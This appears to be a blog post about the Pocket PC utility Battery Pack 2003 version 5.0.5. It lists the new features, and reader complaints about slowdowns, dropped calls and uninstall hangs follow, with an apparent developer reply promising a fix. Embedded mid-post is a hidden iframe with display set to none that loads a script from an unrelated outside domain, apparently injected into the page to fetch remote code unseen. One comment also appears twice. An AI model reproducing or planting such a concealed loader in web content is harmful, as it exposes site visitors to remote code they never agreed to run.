<img src="images/software-batterypack2003.gif" align="right">There are few applications that I consider critical to my daily Pocket PC Phone use. Battery Pack is one of them. There are a lot of features packed into this program to help you manage your power, tasks, and RAM. Omega One has just released Version 5.05 with some exciting new features:
Power Task - displays a skinnable menu to switch to or close running programs.
Power Bars - Battery, memory & storage card information viewable from any application!
Warns if the backup battery needs charging / replacing.
Just tap the close button to close, instead of tap & hold.
Program Bar can now switch sections in Journal Bar.
The title bar can be changed to show, time, date, time & date or nothing.
Show backup & external battery information in Power Store.
You can download a free trial or purchase it at PocketGear.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Actually battery Pack 2003 v5 has been out for a while, but 5.0.5 is the newest which was released today. The only new thing it brings to the table is the "skin-ability" feature, the other features aren't new.
has anybody noticed how incrediably slow ver5 is? When I reboot there's a long pause now since ver5 is installed. Likewise, closing apps and menus with the new close feature is very slow too. Is it just me or has ver5 made the PPCPE devices run slower...?
I installed Battery Pack last night, and my PPC definitely runs more slowly now because of it. I also seem to have lost the ability to remove applications because the machine just hangs every time I try to remove a program (which didn't happen before I installed it). Looks like I'm heading for a hard reset...
I installed Battery Pack last night, and my PPC definitely runs more slowly now because of it. I also seem to have lost the ability to remove applications because the machine just hangs every time I try to remove a program (which didn't happen before I installed it). Looks like I'm heading for a hard reset...
DONT HARD RESET YET!
The issue of remove programs not working is a known issue within the PPC OS. It seems that if you have used activesync, then try to remove the device and do an uninstall, the device will just hang and not finish removing the app. Soft reboot the device first, then try to remove the app again. It should work fine this time.
I removed it due to the slow speed issue. Its a great app but takes too long to remove and run. Causes hangups. They need to fix this or my money back.
I got rid of it too. Not only did it slow my machine down, but it made the phone buggy (several times when I answered calls I got a fast busy signal or the call just wouldn't pick up), and for some reason I couldn't remove any programs. Had to hard reset to get it off.
I have version 5.0.5 with the "Tapping X Closes Programs" option enabled. The close programs icon works fine for everything except the phone app. When tapping the X (close button) in the phone app, it just recycles between call log and phone screen. No matter how many times I tap the X, it just goes back and forth between those two screens. Anyone else experiencing this? Did previous version(s) do this?
This is amazing, and I will try to get it back to the developers. I use the older version ... haven't upgraded yet... and love the thing. Sounds like someone took a left turn with this release.
I'd love to hear what the developers say. I can say with a high degree of certainty that this application was causing it. I reproduced it twice on my T-Mobile Pocket PC Phone edition running PPC2003.
I'm sorry to hear of all the problems users are experiencing. Particularly the one with calls being dropped has not been reported before, and is very worrying. There were some issues with performance with early v5 releases, but v5.0.5 (the latest release) should perform well on PPC 2002 devices.
The PPC 2003 issues are a known problem, and I am beavering away right now trying to fix them. I don't actually have a PPC 2003 device right now, but have tracked down the bug to a line of code and it looks like a Windows CE issue. I should have a fix out in the next couple of day (v5.0.6) which will solve this problem. Again, many apologies for this issue.
If you still have issues with v5.0.5 (updates are free) please e-mail me with specific concerns and detailed information of the problem, and I will attempt to get a bug fix release out as soon as possible.